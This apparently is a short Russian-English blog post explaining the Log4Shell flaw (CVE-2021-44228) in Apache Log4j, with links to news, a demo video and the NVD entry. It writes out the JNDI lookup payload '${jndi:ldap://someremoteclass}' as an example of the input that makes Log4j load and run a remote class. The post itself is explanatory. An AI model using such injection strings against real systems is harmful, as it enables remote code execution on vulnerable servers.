У разработчиков бибилотеки log4j пару семь лет назад возникла гениальная мысль: а почему бы нам не добавить интерполяцию строк в логгируемые сообщения?

SEVEN YEARS LATER

https://www.zdnet.com/article/security-warning-new-zero-day-in-the-log4j-java-library-is-already-being-exploited/

Systems and services that use the Java logging library, Apache Log4j between versions 2.0 and 2.14.1 are all affected, including many services and applications written in Java.

Now there's a bunch of ways to interpolate "variables" into log content. For example something like "Logging from ${java:vm}" will print "Logging from Oracle JVM". I'm not sure but you get the idea.

One way to resolve a variable using a custom Java resolver is by looking it up through a remote class hosted in some LDAP server, say "${jndi:ldap://someremoteclass}" (I'm still not quite sure why LDAP comes into the picture). Turns out, by including "." in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file.

Другими словами:

Logging from ${java:vm} // на выходе будет Logging from Oracle JVM

Если как аргумент скормить что-то такое:

${jndi:ldap://someremoteclass}

то с удалённого сервера можно подгрузить класс и динамически исполнить вредоносный код.

Пример с майнкрафтом:
https://www.youtube.com/watch?v=KA5Pyd258kw

Это, пожалуй, эпичнее чем heartbleed.

PS. Ну и для формальности: https://nvd.nist.gov/vuln/detail/CVE-2021-44228 , класс уязвимости CRITICAL 10/10. Уязвимы все приложения использующие log4j указанных версий, где явно не выключили интерполяцию переменных в конфигурации, а также (само собой) приложения использующие библиотеки, использующие log4j.